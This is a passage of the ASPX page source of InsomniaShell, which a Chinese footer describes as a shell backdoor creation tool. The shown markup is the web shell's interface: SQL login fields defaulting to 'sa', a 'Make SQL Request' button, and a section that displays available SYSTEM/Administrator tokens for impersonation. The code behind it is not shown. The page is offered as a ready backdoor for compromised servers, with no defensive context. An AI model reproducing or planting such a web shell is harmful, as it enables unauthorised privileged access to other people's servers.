Width="191px">sa</asp:TextBox> <asp:TextBox ID="txtSQLPass" runat="server" Width="94px"></asp:TextBox><br /> <asp:Button ID="Button3" runat="server" OnClick="butSQLRequest_Click" Text="Make SQL Request" Width="400px" /><br /> <br /> <asp:Label ID="Label4" runat="server" Height="26px" Text="Available SYSTEM/Administrator Tokens" Width="400px" Font-Bold="True"></asp:Label><br /> <br /> <% DisplayAvailableTokens(); %> </div> </form> </body> </html> |
原文连接:InsomniaShell ASPX版的 shell后门创建工具
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